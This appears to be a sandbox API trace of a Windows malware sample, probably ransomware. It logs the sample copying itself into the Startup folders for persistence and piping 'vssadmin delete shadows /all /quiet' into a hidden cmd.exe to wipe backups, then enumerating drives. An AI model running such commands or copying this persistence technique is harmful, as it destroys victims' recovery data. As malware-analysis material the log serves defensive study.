	[0084.640] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6a10, Size=0x80) returned 0x4fb428
	[0084.640] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4d7b88
	[0084.640] lstrlenW (lpString="") returned 0
	[0084.640] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.640] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8c) returned 0x4d7c90
	[0084.640] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0
	[0084.640] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x50d418, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x50d418*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2
	[0084.640] RegCloseKey (hKey=0xe0) returned 0x0
	[0084.641] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7c90 | out: hHeap=0x4a0000) returned 1
	[0084.641] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.641] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8c) returned 0x4d7c90
	[0084.641] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0
	[0084.641] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x50d418, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0
	[0084.641] RegCloseKey (hKey=0xe4) returned 0x0
	[0084.641] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7c90 | out: hHeap=0x4a0000) returned 1
	[0084.641] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0084.641] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.641] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7b88 | out: hHeap=0x4a0000) returned 1
	[0084.641] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\p.exe", lpDst=0x4fd410, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\p.exe") returned 0x62
	[0084.641] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50d418 | out: hHeap=0x4a0000) returned 1
	[0084.641] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fd410 | out: hHeap=0x4a0000) returned 1
	[0084.641] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2110020
	[0084.642] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.642] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d5908
	[0084.642] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.642] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d58b8
	[0084.642] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0084.642] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0084.642] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0084.642] lstrlenW (lpString="kernel32.dll") returned 12
	[0084.642] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5908 | out: hHeap=0x4a0000) returned 1
	[0084.642] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0084.642] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d58b8 | out: hHeap=0x4a0000) returned 1
	[0084.642] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0084.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\p.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\p.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8
	[0084.645] ReadFile (in: hFile=0xe4, lpBuffer=0x2110020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0084.659] WriteFile (in: hFile=0xe8, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0084.661] ReadFile (in: hFile=0xe4, lpBuffer=0x2110020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0084.661] CloseHandle (hObject=0xe8) returned 1
	[0084.663] CloseHandle (hObject=0xe4) returned 1
	[0084.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.663] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d58b8
	[0084.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.663] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d5908
	[0084.663] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0084.663] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0084.663] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0084.663] lstrlenW (lpString="kernel32.dll") returned 12
	[0084.663] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5908 | out: hHeap=0x4a0000) returned 1
	[0084.663] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0084.664] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d58b8 | out: hHeap=0x4a0000) returned 1
	[0084.664] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x2110020 | out: hHeap=0x4a0000) returned 1
	[0084.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4fd410
	[0084.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50d418
	[0084.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.669] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d58b8
	[0084.669] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d58b8, Size=0x40) returned 0x4d6a10
	[0084.669] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6a10, Size=0x80) returned 0x4fb428
	[0084.669] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4d7b88
	[0084.669] lstrlenW (lpString="") returned 0
	[0084.669] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8c) returned 0x4d7c90
	[0084.669] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0
	[0084.669] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x50d418, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0
	[0084.669] RegCloseKey (hKey=0xe4) returned 0x0
	[0084.669] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7c90 | out: hHeap=0x4a0000) returned 1
	[0084.669] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0084.669] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.669] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7b88 | out: hHeap=0x4a0000) returned 1
	[0084.669] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\p.exe", lpDst=0x4fd410, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\p.exe") returned 0x43
	[0084.669] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50d418 | out: hHeap=0x4a0000) returned 1
	[0084.669] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fd410 | out: hHeap=0x4a0000) returned 1
	[0084.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2110020
	[0084.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.669] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d58b8
	[0084.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.669] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d5908
	[0084.669] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0084.670] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0084.670] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0084.670] lstrlenW (lpString="kernel32.dll") returned 12
	[0084.670] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d58b8 | out: hHeap=0x4a0000) returned 1
	[0084.670] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0084.670] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5908 | out: hHeap=0x4a0000) returned 1
	[0084.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0084.670] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\p.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\p.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8
	[0084.671] ReadFile (in: hFile=0xe4, lpBuffer=0x2110020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0084.684] WriteFile (in: hFile=0xe8, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0084.686] ReadFile (in: hFile=0xe4, lpBuffer=0x2110020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0084.686] CloseHandle (hObject=0xe8) returned 1
	[0084.688] CloseHandle (hObject=0xe4) returned 1
	[0084.688] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.688] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d5908
	[0084.688] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.688] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d58b8
	[0084.688] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0084.688] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0084.688] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0084.688] lstrlenW (lpString="kernel32.dll") returned 12
	[0084.688] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d58b8 | out: hHeap=0x4a0000) returned 1
	[0084.688] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0084.688] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5908 | out: hHeap=0x4a0000) returned 1
	[0084.688] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x2110020 | out: hHeap=0x4a0000) returned 1
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4db400 | out: hHeap=0x4a0000) returned 1
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb408 | out: hHeap=0x4a0000) returned 1
	[0084.694] lstrlenW (lpString="%windir%\\System32") returned 17
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d6980 | out: hHeap=0x4a0000) returned 1
	[0084.694] lstrlenW (lpString="%appdata%") returned 9
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4370 | out: hHeap=0x4a0000) returned 1
	[0084.694] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4348 | out: hHeap=0x4a0000) returned 1
	[0084.694] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d69c8 | out: hHeap=0x4a0000) returned 1
	[0084.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4b4348
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4348, Size=0x40) returned 0x4d69c8
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d69c8, Size=0x80) returned 0x4fb428
	[0084.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4b4348
	[0084.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1fffc) returned 0x4db400
	[0084.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4fd410
	[0084.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50d418
	[0084.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4b4370
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4370, Size=0x40) returned 0x4d69c8
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d69c8, Size=0x80) returned 0x4fb4b0
	[0084.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb4b0, Size=0x100) returned 0x4d7b88
	[0084.694] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7b88 | out: hHeap=0x4a0000) returned 1
	[0084.694] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4fd410, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50d418 | out: hHeap=0x4a0000) returned 1
	[0084.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fd410 | out: hHeap=0x4a0000) returned 1
	[0084.695] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1
	[0084.695] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1
	[0084.695] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1
	[0084.695] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1
	[0084.695] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xa4c, dwThreadId=0xa50)) returned 1
	[0084.713] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0084.713] WriteFile (in: hFile=0xec, lpBuffer=0x4fb428*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x4fb428*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1
	[0084.713] CloseHandle (hObject=0xfc) returned 1
	[0084.713] CloseHandle (hObject=0xf8) returned 1
	[0084.713] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4db400 | out: hHeap=0x4a0000) returned 1
	[0084.714] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0084.714] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb428 | out: hHeap=0x4a0000) returned 1
	[0084.714] lstrlenW (lpString="%comspec%") returned 9
	[0084.714] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4348 | out: hHeap=0x4a0000) returned 1
	[0084.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8
	[0084.714] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4a08
	[0084.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4d4a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc
	[0084.715] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4780
	[0084.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4b4780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a20
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a20, Size=0x20) returned 0x4b4348
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4348, Size=0x40) returned 0x4d69c8
	[0084.716] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xd0) returned 0x4d7c00
	[0084.716] GetLogicalDrives () returned 0x4
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10014) returned 0x4db400
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a20
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a20, Size=0x20) returned 0x4b4348
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4348, Size=0x40) returned 0x4d6a58
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6a58, Size=0x80) returned 0x4fb428
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb428, Size=0x100) returned 0x4d9170
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9170, Size=0x200) returned 0x4d9170
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9170, Size=0x400) returned 0x4d9170
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9170, Size=0x800) returned 0x4d9788
	[0084.716] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9788, Size=0x1000) returned 0x4eb420
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x4fd410
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a20
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4af8
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b4728
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4b10
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b4738
	[0084.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b28
	[0084.717] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4738, Size=0x8) returned 0x4b4738
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b40
	[0084.717] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4738, Size=0x10) returned 0x4b46f0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b58
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b70
	[0084.717] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46f0, Size=0x20) returned 0x4d7a88
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b88
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4738
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4ba0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4bb8
	[0084.717] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d7a88, Size=0x40) returned 0x4d52b0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4bd0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4be8
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4c00
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4c18
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c30
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c48
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d52f8
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c60
	[0084.717] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d52b0, Size=0x80) returned 0x4d9170
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c78
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c90
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4ca8
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4cc0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d97a0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d97b8
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d97d0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b46f0
	[0084.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d97e8
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9800
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9818
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9830
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9848
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9860
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9878
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9890
